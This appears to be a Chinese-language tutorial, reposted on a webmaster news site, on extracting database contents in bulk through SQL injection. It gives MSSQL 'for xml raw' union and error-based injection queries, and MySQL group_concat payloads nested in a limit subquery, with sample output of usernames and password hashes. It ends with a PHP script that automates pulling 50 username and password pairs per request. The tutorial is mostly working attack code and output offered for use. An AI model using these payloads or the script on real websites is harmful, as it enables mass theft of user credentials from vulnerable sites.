一、MSSQL獲取數據: 用的比較多的就是for xml raw了,MSSQL2000都支持的! 注入中顯示數據的兩個辦法均可以使用,一是union select、二是顯錯,以MSSQL2005為例: 代碼如下:select username from members where 1=2 union select top 3 username from members for xml raw 返回(如果username重復,自動去除重復值): 代碼如下: select username from members where 1=(select top 3 username from members for xml raw) 返回: 代碼如下: Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value ' 當數據量很大,無webshell,有注入點可以利用的時候,for xml raw 是不錯的獲取批量數據的辦法!為了不讓返回的數據量過大,top可以限制小一點,比如100,另外要附加腳本或者程序對返回值進行處理。 二、MYSQL獲取數據: 用的比較多的是group_concat,mysql>=4.1支持該函數,可能很多人知道了,但我看過的文章幾乎都是用來讀table_name或者column_name的,畢竟表名、列名的數據量不大,所以用起來很方便,可以一下子把所有表名或者所有列名讀出來。不過用group_concat批量注入讀數據的很少,雖然可以提高效率,增快速度。 因為group_concat有個瓶頸,當group_concat與limit連用時,limit不起作用(也許是先執行group_concat),于是group_concat一次性讀出很多條數據(取決于group_concat_max_len,默認1024),而一般網站數據量都是很大的。一旦不能與limit連用,怎么獲取之后的數據呢? 其實簡單變動下SQL語句即可以實現group_concat與limit連用: 代碼如下: select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A 返回: guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6 于是簡單做下字符串處理,前三條數據就出來了。為了返回不至于數據量過大,單次查詢100以下一般可以接受的。 三、給出部分示例代碼(mysql group_concat 50條數據每次): 代碼如下: if ($argc < 3) { print_r(' +---------------------------------------------------------------------------+ Usage: php '.$argv[0].' start end(end: count/50) Example: php '.$argv[0].' 0 9999 Author:oldjun(http://www.oldjun.com) +---------------------------------------------------------------------------+ '); exit; } error_reporting(7); ini_set('max_execution_time', 0); $start = $argv[1]; $over = $argv[2]; for($i=$start;$i<=$over;$i++){ getdata($i); } function getdata($i) { $resp = send($i); if ($resp){ preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value); if($value){ $namearr=explode("|||",$value[1]); $passarr=explode("|||",$value[2]); for($j=0;$j<50;$j++){ echo $namearr[$j]."|||".$passarr[$j]."\r\n"; } unset($namearr); unset($passarr); }else{ echo $resp; echo "value error,return $i\r\n"; getdata($i); } } else{ echo "resp error,return $i\r\n"; getdata($i); } } function send($i) { $limit=$i*50; //發送數據包代碼省略 //注入語句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A# } ?> |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信